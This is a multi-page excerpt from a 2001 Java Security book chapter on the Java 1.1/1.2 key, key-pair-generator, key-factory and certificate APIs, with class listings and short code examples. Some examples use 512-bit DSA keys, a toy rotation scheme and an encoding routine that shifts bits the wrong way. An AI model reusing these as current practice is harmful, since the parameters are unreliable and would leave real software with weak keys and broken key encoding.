Keys, Certificates, and Object Serialization
Summary

In this chapter, we discuss the classes in the Java security package that handle keys and certificates. Keys are a necessary component of many cryptographic algorithms--in particular, keys are required to create and verify digital signatures. The keys we're going to discuss in this chapter are public keys and private keys, since those are the keys most often used in a digital signature. Secret keys--used for encryption algorithms--are discussed in Chapter 13, "Encryption". We defer that discussion because secret keys do not come with standard Java implementations; they come only with the Java Cryptography Extension.

We also cover the implementation of certificates in this chapter. Certificates are used to authenticate keys; when keys are transmitted electronically, they are often embedded within certificates.

Keys and certificates are normally associated with some person or organization, and the way in which keys are stored, transmitted, and shared is an important topic in the security package. Management of keys is left for the next chapter, however; right now, we're just concerned about the APIs that implement keys and certificates. As usual, we'll show how a programmer interacts with keys and certificates, as well as how you might implement your own versions of each.

The classes and engines we discuss in this chapter are outlined in Figure 10-1. There are two engines that operate on keys:

  • The KeyPairGenerator class generates keys from scratch. With no input (or, possibly, input to initialize it to a certain state), the generator can produce one or more pairs of keys.

  • The KeyFactory class translates between key objects and their external representations, which may be either a byte array or a key specification; this translation goes both ways.

Figure 10-1. The interaction of key classes

There are a number of classes and interfaces we'll discuss to facilitate support for Figure 10-1; in addition to the engine classes themselves, there are several classes and interfaces that represent the key objects and the key specifications (the encoded key data is always an array of bytes). In an effort to provide the complete story, we'll delve into the details of all of these classes; for the most part, however, the important operations that most developers will need are:

  • The ability to create a new pair of keys from scratch using the key pair generator

  • The ability to export a key, either as a parameter specification or as a set of bytes, and the corresponding ability to import that data in order to create a key

This means that, for the most part, the data objects we explore in this chapter--the Key classes and interfaces as well as the various KeySpec classes (key specification classes)--can be treated by most programmers as opaque objects. We'll show their complete interface (which you might be curious about, and which is absolutely needed if you're writing your own security provider), but we'll try not to lose sight of the two goals of this chapter.

Also note that the idea of the key factory and key specifications is available only with Java 1.2.[1] In Java 1.1, you can get the encoded key data directly from a key, but that's a one-way operation.

[1]1.2 is now Java 2.

10.1. Keys

Let's start with the various classes that support the notion of keys within Java.

10.1.1. The Key Interface

The concept of a key is modeled by the Key interface (java.security.Key):

public interface Key extends Serializable

Model the concept of a single key. Because keys must be transferred to and from various entities, all keys must be serializable.

As we discussed in Chapter 8, "Security Providers", there might be several algorithms available for generating (and understanding) keys, depending on the particular security providers that are installed in the virtual machine. Hence, the first thing a key needs to be able to tell us is what algorithm generated it:

public String getAlgorithm()

Return a string describing the algorithm used to generated this key; this string should be the name of a standard key generation algorithm.

We listed the standard algorithm names for key generation in Chapter 8, "Security Providers", but with the default provider with the JDK, this string is always DSA.

When a key is transferred between two parties, it is usually encoded as a series of bytes; this encoding must follow a format defined for the type of key. Keys are not required to support encoding--in which case the format of the data transferred between the two parties in a key exchange is either obvious (e.g., simply the serialized data of the key) or specific to a particular implementation. Keys tell us the format they use for encoding their output with this method:

public String getFormat()

Return a string describing the format of the encoding the key supports.

For DSA keys produced by the Sun security provider, this format is always PKCS#8 for private keys and X.509 for public keys. The encoded data of the key itself is produced by this method:

public byte[] getEncoded()

Return the bytes that make up the particular key in the encoding format the key supports. The encoded bytes are the external representation of the key in binary format.

Those are the only methods that a key is guaranteed to implement (other than methods of the Object class, of course; most implementations of keys override many of those methods). In particular, you'll note that there is nothing in the key interface that says anything about decoding a key. We'll say more about that later.

There are two additional key interfaces in the Java security API:

public interface PublicKey extends Key

public interface PrivateKey extends Key

These interfaces contain no additional methods. They are used simply for type convenience. A class that implements the PublicKey interface identifies itself as a public key, but it contains no methods that are different from any other key.

10.1.1.1. DSA keys

The keys supported by the Sun security provider are built around the DSA algorithm. DSA-generated keys are important enough to have several interfaces built around them; these interfaces enhance your ability to work with these specific types of keys. These interfaces are necessary because DSA keys have certain pieces of information that are not reflected in the default key interfaces: the DSA algorithm-specific parameters p, q, and g that are used to generate the keys. Knowledge of these variables is abstracted into the DSAParams interface (java.security.interfaces.DSAParams):

Class Definition

public interface DSAParams {
    public BigInteger getP();
    public BigInteger getQ();
    public BigInteger getG();
}

Keys that are generated by DSA will typically implement the DSAKey interface (java.security.interfaces.DSAKey):

public interface DSAKey

Provide DSA-specific information about a key.

Implementing this interface serves two purposes. First, it allows the programmer to determine if the key is a DSA key by checking its type. The second purpose is to allow the programmer to access the DSA parameters using this method in the DSAKey interface:

public DSAParams getParams()

Return the DSA parameters associated with this key.

These methods and interfaces allow us to do specific key manipulation like this:

Class Definition

public void printKey(Key k) {
    if (k instanceof DSAKey) {
        System.out.println("key is DSA");
        System.out.println("P value is " +
                        ((DSAKey) k).getParams().getP());
    }
    else System.out.println("key is not DSA");
}

The idea of a DSA key is extended even further by these two interfaces (both of which are in the java.security.interfaces package):

public interface DSAPrivateKey extends DSAKey
public interface DSAPublicKey extends DSAKey

These interfaces allow the programmer to retrieve the additional key-specific values (known as y for public keys and x for private keys in the DSA algorithm):

Class Definition

public void printKey(DSAKey k) {
    if (k instanceof DSAPublicKey)
        System.out.println("Public key value is " +
                    ((DSAPublicKey) k).getY());
    else if (k instanceof DSAPrivateKey)
        System.out.println("Private key value is " +
                    ((DSAPrivateKey) k).getX());
    else System.out.println("Bad key implementation");
}

DSA keys are often used in the Java world (and elsewhere in cryptography), and if you know you're dealing with DSA keys, these interfaces can be very useful. In particular, if you're writing a security provider that provides an implementation of DSA keys, you should ensure that you implement all of these interfaces correctly. For most programmers, however, keys are opaque objects, and the algorithm-specific features of DSA keys are not needed.

10.1.2. The KeyPair Class

There are no classes in the core JDK that implement any of the Key interfaces. However, there is one concrete class, the KeyPair class (java.security.KeyPair), that extends the abstraction of keys:

public final class KeyPair

Model a data object that contains a public key and a private key.

The KeyPair class is a very simple data structure class, containing two pieces of information: a public key and a private key. When we need to generate our own keys (which we'll do next), we'll need to generate both the public and private key at once. This object will contain both of the necessary keys. If you're not interested in generating your own keys, this class may be ignored.

The KeyPair class contains only two methods:

public PublicKey getPublic()
public PrivateKey getPrivate()

Return the desired key from the key pair.

A key pair object is instantiated through a single constructor:

public KeyPair(PublicKey pub, PrivateKey priv)

Create a key pair object, initializing each member of the pair.

In theory, a key pair should not be initialized without both members of the pair being present; there is nothing, however, that prevents us from passing null as one of the keys. Similarly, there are no security provisions within the KeyPair class that prevent the private key from being accessed--no calls to the security manager are made when the getPrivate() method is invoked. Hence the KeyPair class should be used with caution.

Previous | Home | Next
9.4. Summary | Book Index | 10.2. The KeyPairGenerator Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The KeyPairGenerator Class (Java Security)

 Java Security Search this book

10.2. The KeyPairGenerator Class

Generation of public and private keys is one of the standard engines that can be provided by a Java security provider. This operation is provided by the KeyPairGenerator class (java.security.KeyPairGenerator):

public abstract class KeyPairGenerator

Generate and provide information about public/private key pairs.

In Java 1.1, this class extends only the Object class; in Java 1.2, this class extends the KeyPairGeneratorSpi class (java.security.KeyPairGeneratorSpi). As is usual with this architecture, some of the methods we're going to use are methods of the KeyPairGenerator class in Java 1.1 and methods of the KeyPairGeneratorSpi class in 1.2; for the developer, the end result is the same.

Generating a key pair is a very time-consuming operation. Fortunately, it does not need to be performed often; much of the time, we obtain keys from a key management system rather than generating them. However, when we establish our own key management system in the next chapter, we'll need to use this class; it is often easier to generate your own keys from scratch rather than use a key management system as well.

10.2.1. Using the KeyPairGenerator Class

Like all engine classes, the KeyPairGenerator is an abstract class for which there is no implementation in the core API. However, it is possible to retrieve instances of the KeyPairGenerator class via these methods:

public static KeyPairGenerator getInstance(String algorithm)
public static KeyPairGenerator getInstance(String algorithm, String provider)

Find the implementation of the engine that generates key pairs with the named algorithm. The algorithm should be one of the standard API algorithm names; if an appropriate implementation cannot be found, this method throws a NoSuchAlgorithmException.

The first format of this method searches all available providers according to the rules we outlined in Chapter 8, "Security Providers". The second method searches only the named provider, throwing a NoSuchProviderException if that provider has not been loaded.

These methods search the providers that have been registered with the security provider interface for a key pair generator that supports the named algorithm. In the Sun security provider, this method allows us to retrieve the key pair generator that generates keys using the DSA algorithm.

Once we have the key pair generator, we can invoke any of the following methods on it:

public String getAlgorithm()

Return the name of the algorithm that this key pair generator implements (e.g., DSA).

public void initialize(int strength)
public abstract void initialize(int strength, SecureRandom random)

Initialize the key pair generator to generate keys of the given strength. The idea of strength is common among key pair generator algorithms; typically it means the number of bits that are used as input to the engine to calculate the key pair, but the actual meaning may vary between algorithms.

Most key algorithms restrict on the values that are valid for strength. In the case of DSA, the strength must be between 512 and 1024 and it must be a multiple of 64. If an invalid number is passed for strength, an InvalidParameterException will be thrown.

Key pairs typically require a random number generator to assist them. You may specify a particular random number generator if desired; otherwise, a default random number generator (an instance of the SecureRandom class) is used.

In Java 1.2, the second of these methods is inherited from the KeyPairGeneratorSpi class.

public void initialize(AlgorithmParameterSpec params) figure
public void initialize(AlgorithmParameterSpec params, SecureRandom random) figure

Initialize the key pair generator using the specified parameter set (which we'll discuss a little later). By default, the first method simply calls the second method with a default instance of the SecureRandom class; the second method, by default, will throw an UnsupportedOperationException. The second of these methods is inherited from the KeyPairGeneratorSpi class.

public abstract KeyPair generateKeyPair()
public final KeyPair genKeyPair() figure

Generate a key pair, using the initialization parameters previously specified. A KeyPairGenerator object can repeatedly generate key pairs by calling one of these methods; each new call generates a new key pair. The genKeyPair() method simply calls the generateKeyPair() method.

In Java 1.2, the generateKeyPair() method is inherited from the SPI.

Using these methods, generating a pair of keys is very straightforward:

Class Definition

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(512);
KeyPair kp = kpg.generateKeyPair();

According to the Java documentation, you are allowed to generate a key pair without initializing the generator; in this situation, a default strength and random number generator are to be used. However, this feature does not work with the Sun security provider in 1.1: a NullPointerException is thrown from within the generateKeyPair() method. Since it is possible that third-party providers may behave similarly, it is always best to initialize the key pair generator.

We'll show what to do with these keys in the next chapter, when we discuss the topic of key management.

10.2.2. Generating DSA Keys

The abstraction provided by the key pair generator is usually all we need to generate keys. However, sometimes the particular algorithm needs additional information to generate a key pair. When a DSA key pair is generated, default values for p, q, and g are used; in the Sun security provider, these values are pre-computed to support strength values of 512 and 1024. Precomputing these values greatly reduces the time required to calculate a DSA key. Third-party DSA providers may provide precomputed values for additional strength values.

It is possible to ask the key generator to use different values for p, q, and g if the key pair generator supports the DSAKeyPairGenerator interface (java. security.interfaces.DSAKeyPairGenerator):

public interface DSAKeyPairGenerator

Provide a mechanism by which the DSA-specific parameters of the key pair engine can be manipulated.

There are two methods in this interface:

public void initialize(int modlen, boolean genParams, SecureRandom random)

Initialize the DSA key pair generator. The modulus length is the number of bits used to calculate the parameters; this must be any multiple of 8 between 512 and 1024. If genParams is true, then the p, q, and g parameters will be generated for this new modulus length; otherwise, a precomputed value will be used (but precomputed values in the Sun security provider are available only for modlen values of 512 and 1024). If the modulus length is invalid, this method throws an InvalidParameterException.

public void initialize(DSAParams params, SecureRandom random)

Initialize the DSA key pair generator. The p, q, and g parameters are set from the values passed in params. If the parameters are not correct, an InvalidParameterException is generated.

As with the DSAKey interface, a DSA key pair generator implements the DSAKeyPairGenerator interface for two purposes: for type identification, and to allow the programmer to initialize the key pair generator with the desired algorithm-specific parameters:

Class Definition

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
if (kpg instanceof DSAKeyPairGenerator) {
    DSAKeyPairGenerator dkpg = (DSAKeyPairGenerator) kpg;
    dkpg.initialize(512, true, new SecureRandom());
}
else kpg.initialize(512);

In sum, this interface allows us to use the generic key pair generator interface while providing an escape clause that allows us to perform DSA-specific operations.

10.2.3. Implementing a Key Pair Generator

If you want to implement your own key pair generator--either using a new algorithm or, more typically, a new implementation of a standard algorithm--you need to create a concrete subclass of the KeyPairGenerator class. In Java 1.2, you may create a subclass of the KeyPairGeneratorSpi class instead; in this case, the SPI is the superclass of the engine class.

To construct a key pair generator, there is a single protected method at your disposal:

protected KeyPairGenerator(String name)

Construct a key pair generator that implements the given algorithm.

As with the other engines in the security API, there is no default constructor available within the engine class. When the key pair generator is constructed, it must pass the name of the algorithm that it implements to its superclass so that the algorithm name may be correctly registered with the Security class.

There are two abstract public methods of the key pair generator (or its SPI) that we must implement in our key pair generator: the initialize() method and the generateKeyPair() method. For this example, we'll generate a simple key pair that could be used for a simple rotation-based encryption scheme. In this scheme, the key serves as an offset that we add to each ASCII character--hence, if the key is 1, an encryption based on this key converts the letter a to the letter b, and so on (the addition is performed with a modulus such that z will map to a). To support this encryption, then, we need to generate a public key that is simply a number between 1 and 25; the private key is simply the negative value of the public key.

We must also define a class to represent keys we're implementing.[2] We can do that with this class:

[2]This is true even if you're implementing the DSA algorithm--the classes the Sun security provider uses to represent keys are not in the java package, so they are unavailable to us. So even if you're implementing DSA, you must still define classes that implement all the DSA interfaces we looked at earlier.

Class Definition

public class XYZKey implements Key, PublicKey, PrivateKey {
    int rotValue;

    public String getAlgorithm() {
        return "XYZ";
    }

    public String getFormat() {
        return "XYZ Special Format";
    }

    public byte[] getEncoded() {
        byte b[] = new byte[4];
        b[3] = (byte) ((rotValue << 24) & 0xff);
        b[2] = (byte) ((rotValue << 16) & 0xff);
        b[1] = (byte) ((rotValue <<  8) & 0xff);
        b[0] = (byte) ((rotValue <<  0) & 0xff);
        return b;
    }
}

The only data value our key class cares about is the value to be used as the index; for simplicity, we've made it a simple instance variable accessible only by classes in our package. Because this example is simple, we can use the same class as the interface for the public and the private key; normally, of course, public and private keys are not symmetric like this.

With these pieces in place, we're ready to define our key pair generation class:

Class Definition

public class XYZKeyPairGenerator extends KeyPairGenerator {
    SecureRandom random;

    public XYZKeyPairGenerator() {
        super("XYZ");
    }

    public void initialize(int strength, SecureRandom sr) {
        random = sr;
    }

    public KeyPair generateKeyPair() {
        int rotValue = random.nextInt() % 25;
        XYZKey pub = new XYZKey();
        XYZKey priv = new XYZKey();
        pub.rotValue = rotValue;
        priv.rotValue = -rotValue;
        KeyPair kp = new KeyPair(pub, priv);
        return kp;
    }
}

As a last step, we must install this class using the security provider architecture that we examined in Chapter 8, "Security Providers". Now obtaining a new key pair for the XYZ algorithm is as simple as substituting the string XYZ for the algorithm name in the example we gave earlier for DSA key pair generation.

Previous | Home | Next
10.1. Keys | Book Index | 10.3. The KeyFactory Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The KeyFactory Class (Java Security)

 Java Security Search this book

10.3. The KeyFactory Class

Although there are times when you'll generate your own keys, they are more often obtained electronically. The next engine and related set of classes we'll examine show us how to import and export keys. The source or destination of these keys is not specified by any of these classes--you may have read the data from a file, or from a socket, or you may have typed it in manually. The classes in this section merely enable you to convert a key object to a known external representation and to perform the reverse conversion.

Key factories are available only in Java 1.2. Exporting keys in 1.1 is simple: the encoded bytes of the key can be obtained and transmitted in any manner that is convenient. But importing keys in 1.1 is very difficult, because there is no way to take the encoded bytes and produce a key from them. As a fallback measure, you can serialize a key object to export it and then deserialize that data to import the key, although that's not something we generally recommend (see Section 10.5, "Keys, Certificates, and Object Serialization" later in this chapter).

There are two external representations by which a key may be transmitted--by its encoded format, or by the parameters that were used to generate the key. Either of these representations may be encapsulated in a key specification, which is used to interact with the KeyFactory class (java.security.KeyFactory) that actually imports and exports keys:

public class KeyFactory figure

Provide an infrastructure for importing and exporting keys according to the specific encoding format or parameters of the key.

10.3.1. Using the KeyFactory class

The KeyFactory class is an engine class, which provides the typical method of instantiating itself:

public static final KeyFactory getInstance(String alg) figure
public static final KeyFactory getInstance(String alg, String provider) figure

Create a key factory capable of importing and exporting keys that were generated with the given algorithm. The class that implements the key factory comes from the named provider or is located according to the standard rules for provider engines. If a key factory that implements the given algorithm is not found, a NoSuchAlgorithmException is generated. If the named provider is not found, a NoSuchProviderException is generated.

A key factory presents the following public methods:

public final Provider getProvider() figure

Return the provider that implemented this particular key factory.

public final PublicKey generatePublic(KeySpec ks) figure
public final PrivateKey generatePrivate(KeySpec ks) figure

These methods are used to import a key: they create the key based on the imported data that is held in the key specification object. If the key cannot be created, an InvalidKeySpecException is thrown.

public final KeySpec getKeySpec(Key key, Class keySpec) figure

This method is used to export a key: it creates a key specification based on the actual key. If the key specification cannot be created, an InvalidKeySpecException is thrown.

public final Key translateKey(Key key) figure

Translate a key from an unknown source into a key that was generated from this object. This method can be used to convert the type of a key that was loaded from a different security provider (e.g., a DSA key generated from the XYZ provider--type com.XYZ.DSAPrivateKey--could be converted to a DSA key generated from the Sun provider--type sun.security.pro-vider.DSAPrivateKey). If the key cannot be translated, an InvalidKeyException is generated.

public final String getAlgorithm() figure

Return the algorithm this key factory supports.

We'll defer examples of these methods until we discuss the KeySpec class later.

10.3.2. Implementing a Key Factory

Like all engines, the key factory depends on a service provider interface class: the KeyFactorySpi class (java.security.KeyFactorySpi):

public abstract class KeyFactorySpi figure

Provide the set of methods necessary to implement a key factory that is capable of importing and exporting keys in a particular format.

However, since the KeyFactory class did not exist in 1.1, its SPI is unrelated in the class hierarchy. Implementing a key factory therefore requires that we subclass the SPI rather than subclassing the KeyFactory class directly. The KeyFactorySpi class is required to implement a key factory because the KeyFactory class contains only this constructor:

protected KeyFactory(KeyFactorySpi keyFacSpi, Provider provider, String algorithm)

Construct a key factory based on the given factory service provider class that is implemented by the given provider and that provides keys of the given algorithm.

This constructor is called by the Security class itself; all we need to do is ensure that the class we register with the security provider interface is a subclass of the KeyFactorySpi class.

The KeyFactorySpi class contains the following methods; since each of these methods is abstract, our class must provide an implementation of all of them:

protected abstract PublicKey engineGeneratePublic(KeySpec ks) figure
protected abstract PrivateKey engineGeneratePrivate(KeySpec ks) figure

Generate of the public or private key. Depending on the key specification, this means either decoding the data of the key or regenerating the key based on specific parameters to the key algorithm. If the key cannot be generated, an InvalidKeyException should be thrown.

protected abstract KeySpec engineGetKeySpec(Key key, Class keySpec) figure

Export the key. Depending on the key class specification, this means either encoding the data (e.g., by calling the getEncoded() method) or saving the parameters that were used to generate the key. If the specification cannot be created, an InvalidKeySpecException should be thrown.

protected Key engineTranslateKey(Key key) figure

Perform the actual translation of the key. This is typically performed by translating the key to its specification and back. If the key cannot be translated, an InvalidKeyException should be thrown.

Although we show how to use a key factory later, we won't show how to implement one; the amount of code involved is large and relatively uninteresting. However, the online examples do contain a sample key factory implementation if you're interested in seeing one.

10.3.3. Key Specifications

Importing and exporting a key are based on classes that implement the KeySpec interface (java.security.spec.KeySpec):

public interface KeySpec figure

Identify a class as one that is able to hold data that can be used to generate a key.

The KeySpec interface is an empty interface; it is used for type identification only. This interface in turn forms the basis of two interfaces, each of which handles one method of importing a key.

10.3.3.1. The EncodedKeySpec class

Earlier, we mentioned that the Key class must provide a getEncoded() method for the key that outputs a series of bytes in a format specific to the type of key; this format is generally part of the specification for the key algorithm. For DSA keys, for example, the encoding format might be PKCS#8 or X.509. An encoded key specification holds the encoded data for a key and is defined by the EncodedKeySpec class (java.security.spec.EncodedKeySpec):

public abstract class EncodedKeySpec implements KeySpec figure

Provide an object to hold the encoded data of a key.

An encoded key specification can be operated on via these methods:

public abstract byte[] getEncoded() figure

Return the actual encoded data held by the object.

public abstract String getFormat() figure

Return the string that represents the format of the encoded data (e.g., PKCS#8).

There are two core classes that provide a concrete implementation of this class (both of which are in the java.security.spec package):

public class PKCS8EncodedKeySpec extends EncodedKeySpec figure
public class X509EncodedKeySpec extends EncodedKeySpec figure

Provide an implementation of the encoded key specification. The PCKS8 encoded key specification is used for DSA private keys, and the X509 encoded key specification is used for DSA public keys.

Both of these classes are constructed by passing in the encoded data:

public PKCS8EncodedKeySpec(byte data[]) figure
public X509EncodedKeySpec(byte data[]) figure

Construct an encoded key specification object that holds the given encoded data. The format of the data is not checked for validity. The input data is saved within the object to be returned via the getEncoded() method.

Taken together, the methods of these classes allow us to import and export keys. Keys are exported via the getEncoded() method, and they are imported by constructing an object based on the encoded bytes.

10.3.3.2. The AlgorithmParameterSpec interface

In addition to their encoded format, keys are typically able to be specified by providing the parameters to the algorithm that produced the key. Specifying keys in this manner is a function of the AlgorithmParameterSpec interface (java.security.spec.AlgorithmParameterSpec):

public interface AlgorithmParameterSpec figure

Provide an infrastructure for specifying keys based on the parameters used to generate them.

Like the KeySpec interface, this interface provides no methods and is used only for type identification. The DSAParameterSpec class (java.security.spec.DSAParameterSpec) is the single core class that implements this interface:

public class DSAParameterSpec implements AlgorithmParameterSpec, DSAParams figure

Provide a class that holds the parameters used to generate a DSA key.

As we mentioned earlier, there are three parameters that are common to all DSA keys: p, q, and g. Hence, an instance of this class can be constructed as follows:

public DSAParameterSpec(BigInteger p, BigInteger q, BigInteger g) figure

Create an object that holds the common parameters used to generate a DSA key.

The only methods of this class are used to retrieve those parameters:

public BigInteger getP() figure
public BigInteger getQ() figure
public BigInteger getG() figure

Return the parameter held by the specification object.

While those three parameters are common to every DSA key, a DSA public key has an additional parameter (y) and a DSA private key has a different additional parameter (x). Hence, to represent a DSA key fully requires one of these classes (both of which are in the java.security.spec package):

public class DSAPublicKeySpec implements KeySpec figure
public class DSAPrivateKeySpec implements KeySpec figure

Provide an object to hold all parameters of a DSA public or private key.

Instances of these classes are constructed by providing all parameters:

public DSAPublicKeySpec(BigInteger y, BigInteger p, BigInteger q, BigInteger g) figure
public DSAPrivateKeySpec(BigInteger x, BigInteger p, BigInteger q, BigInteger g) figure

Create an object that holds all the parameters used to generate a DSA key.

This final parameter can be retrieved via a class-specific method (getX() or getY() as appropriate).

Once again, these classes in total allow us to export keys (via the various get*() methods) and to import keys via the constructors.

10.3.4. A Key Factory Example

As we mentioned at the beginning of this section, the prime reason for key factories is that they give us the ability to import and export keys. Exporting a key specification is typically done by transmitting the individual data elements of the key specification (those individual elements vary by the type of key). Importing a key specification typically involves constructing the specification with the transmitted elements as parameters to the constructor.

Here's an example using a DSA algorithmic parameter specification. We'll look first at exporting a key:

Class Definition

public class Export {
    public static void main(String args[]) {
        try {
            KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
            kpg.initialize(512, new SecureRandom());
            KeyPair kp = kpg.generateKeyPair();
            Class spec = Class.forName(
                            "java.security.spec.DSAPrivateKeySpec");
            KeyFactory kf = KeyFactory.getInstance("DSA");
            DSAPrivateKeySpec ks = (DSAPrivateKeySpec)
                                    kf.getKeySpec(kp.getPrivate(), spec);
            FileOutputStream fos = new FileOutputStream("exportedKey");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(ks.getX());
            oos.writeObject(ks.getP());
            oos.writeObject(ks.getQ());
            oos.writeObject(ks.getG());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Two items are interesting in this code. First, one argument to the getKeySpec() method is a class object, requiring us to construct the class object using the forName() method (a somewhat unusual usage). Then, once we have the key specification itself, we have to figure out how to transmit the specification. Since in this case, the specification is an algorithmic specification, we chose to write out the individual parameters from the specification.[3] If we had used an encoded key specification, we simply would have written out the byte array returned from the getEncoded() method.

[3]The DSAPrivateKeySpec class--like all key specification classes--is not serializable itself. But for reasons that we'll discuss later, it's better not to serialize key classes that are to be imported into another Java VM anyway.

We can import this key as follows:

Class Definition

public class Import {
    public static void main(String args[]) {
        try {
            FileInputStream fis = new FileInputStream("exportedKey");
            ObjectInputStream ois = new ObjectInputStream(fis);
            DSAPrivateKeySpec ks = new DSAPrivateKeySpec(
                        (BigInteger) ois.readObject(),
                        (BigInteger) ois.readObject(),
                        (BigInteger) ois.readObject(),
                        (BigInteger) ois.readObject());
            KeyFactory kf = KeyFactory.getInstance("DSA");
            PrivateKey pk = kf.generatePrivate(ks);
            System.out.println("Got private key");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

This example is predictably symmetric to exporting a key.

Previous | Home | Next
10.2. The KeyPairGenerator Class | Book Index | 10.4. Certificates
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Certificates (Java Security)

 Java Security Search this book

10.4. Certificates

When you are given a public and private key, you often need to provide other people with your public key. If you sign a digital document (using your private key), the recipient of that document will need your public key in order to verify your digital signature.

The inherent problem with a key is that it does not provide any information about the identity to which it belongs; a key is really just a sequence of seemingly arbitrary numbers. If I want you to accept a document that I digitally signed, I could mail you my public key, but you normally have no assurance that the key (and the original email) came from me at all. I could, of course, digitally sign the e-mail so that you knew that it came from me, but there's a circular chain here--without my public key, you cannot verify the digital signature. You would need my public key in order to authenticate the public key I've just sent you.

Certificates solve this problem by having a well-known entity (called a certificate authority, or CA) verify the public key that is being sent to you. A certificate can give you the assurance that the public key in the certificate does indeed belong to the entity that the certificate authority says it does. However, the certificate only validates the public key it contains: just because Fred sends you his public key in a valid certificate does not mean that Fred is to be trusted; it only means that the public key in question does in fact belong to Fred.

In practice, the key may not belong to Fred at all; certificate authorities have different levels at which they assess the identity of the entity named in the certificate. Some of these levels are very stringent and require the CA to do an extensive verification that Fred is who he says he is. Other levels are not stringent at all, and if Fred can produce a few dollars and a credit card, he is assumed to be Fred. Hence, one of the steps in the process of deciding whether or not to trust the entity named in the certificate includes the level at which the certificate authority generated the certificate. Each certificate authority varies in its approach to validating identities, and each publishes its approach to help you understand the potential risks involved in accepting such a certificate.

A certificate contains three pieces of information (as shown in Figure 10-2):

  • The name of the entity for whom the certificate has been issued. This entity is referred to as the subject of the certificate.

  • The public key associated with the subject.

  • A digital signature that verifies the information of the certificate. The certificate is signed by the issuer of the certificate.

Figure 10-2. Logical representation of a certificate

Because the certificate carries a digital signature of the certificate authority, we can verify that digital signature--and if the verification succeeds, we can be assured that the public key in the certificate does in fact belong to the entity the certificate claims (subject to the level at which the CA verified the subject).

We still have a bootstrapping problem here--how do we obtain the public key of the certificate authority? We could have a certificate that contains the public key of the certificate authority, but who is going to authenticate that certificate?

This bootstrapping problem is one reason why key management (see Chapter 11, "Key Management") is such a hard topic. Most Java-enabled browsers solve this problem by providing the public keys for certain well-known certificate authorities along with the browser. This has worked well in practice, though it clearly is not an airtight solution (especially when the browser is downloaded from some site on the Internet--theoretically, the certificates that come with the browser could be tampered with as they are in transit). Although there are various proposals to strengthen this model, for now we will assume that the certificate of at least one well-known certificate authority is delivered along with the Java application. This situation allows me to mail you a certificate containing my public key; if the certificate is signed by a certificate authority you know about, you are assured that the public key actually belongs to me.

There are many well-known certificate authorities--and therein lies another problem. I may send you a certificate that is signed by the United States Post Office, but that certificate authority may not be one of the certificate authorities you recognize. Simply sending a public key in a certificate does not mean that the recipient of the public key will accept it. A more important implication of this is that a key management system needs to be prepared to assign multiple certificates to a particular individual, potentially one from each of several certificate authorities.

Another implication of this profusion of certificate authorities is that certificates are often supplied as a chain. Let's say that you have the certificate of the U.S. Post Office certificate authority, and I want to send you my certificate that has been generated by the Acme Certificate company. In order for you to accept this certificate, I must send you a chain of certificates: my certificate (certified by the Acme Certificate company), and a certificate for the Acme Certificate company (certified by the U.S. Post Office). This chain of certificates may be arbitrarily long.

The last certificate in this chain--that is, the public key for a certificate authority--is generally stored in a certificate that is self-signed: the certificate authority has signed the certificate that contains its own public key. Self-signed certificates tend to crop up frequently in the Java world as well, since the tools that come with the JDK will create self-signed certificates. The certificates are intended to be submitted to a certificate authority, who will then return a CA-signed certificate. But there's no reason why the certificate itself can't be used as a valid certificate. Whether or not you want to accept a self-signed certificate is up to you, but it obviously carries certain risks.

Finally, for all this talk of certificates, you have to consider whether or not they are actually necessary to support your application. If you'll generally be receiving signed items from people you do not know (e.g., a signed JAR file from a web site), then they are absolutely necessary. On the other hand, large-scale computer installations often consider using certificates to authenticate and validate their employees; this results in a computer system that has much better internal security than one that relies solely on passwords. But it is not the certificate that generates the security advantage, it is the use of public key cryptography. The computer installation can achieve the same level of security without using a certificate infrastructure.

Consider the security necessary to support XYZ Corporation's payroll application. When an employee wants to view her payroll statements, she must submit a digitally signed request to do so. Hence, XYZ should distribute to each employee a private key to be used to create the digital signature. XYZ can also store the employee's public keys in a database; when a request comes that claims to be from a particular employee, the payroll server can simply examine the database to obtain that employee's public key and verify the signature. No certificate is required in this case--and in general, no certificate is required when the recipient of the digital signature is already known to have the public key of the entity that signed the data. For applications within a corporation, this is almost always the case.

We issue this caveat about certificates being necessary because certificate support in Java (even in Java 1.2) is not fully complete--while it is possible to set up your own certificate authority to distribute the certificates for your company, it's very hard to write the necessary code to do that in Java (at present). Hence, we'll focus our discussion of the certificate API on accepting (i.e., validating) existing certificates.

Certificate: Class or Interface

There's an unfortunate ambiguity in Java's use of the term "certificate." In Java 1.1, an interface called java.security.Certificate was introduced and used by the javakey utility and by the appletviewer when they used signed classes. The Certificate interface was implemented by platform-specific classes.

In Java 1.2, there is a new class called java.security.cert.Certificate. This class is the preferred class for all interactions with certificates, and is used by the utilities provided with the 1.2 JDK. The java.security.Certificate interface has been deprecated starting with Java 1.2.

One problem where this manifests itself is with import statements. If you import the following packages:

Class Definition

import java.security.*;
import java.security.cert.*;

the compiler will be unable to reconcile the definition of Certificate. When dealing with certificates, you'll either need to refer to them by their fully qualified name or only import those classes in the security package that you explicitly need.

In the main text of this book, whenever we talk about a certificate object, we mean an instance of the java.security.cert.Certificate class (or one of its subclasses). Except for some examples in Appendix B, "Identity-Based Key Management", we will not show usage of the Certificate interface.

10.4.1. The Certificate Class

There are many formats that a certificate can take (depending on the cryptographic algorithms used to produce the certificate). Hence, the Java API abstracts the generic notion of a certificate with the Certificate class (java.security.cert.Certificate):

public abstract class Certificate figure

Provide the necessary (and very basic) operations to support a certificate.

Like many classes in the Java security package, the Certificate class is abstract; it relies upon application-specific classes to provide its implementation. In the case of the JDK, there are classes in the sun package that implement certain certificate formats (but more about that in just a bit).

There are three essential operations that you can perform upon a certificate:

public abstract byte[] getEncoded() figure

Return a byte array of the certificate. All certificates must have a format in which they may be transmitted as a series of bytes, but the details of this encoding format are specific to the type of the certificate. If the encoding cannot be generated, a CertificateEncodingException is thrown.

public abstract void verify(PublicKey pk) figure
public abstract void verify(PublicKey pk, String provider) figure

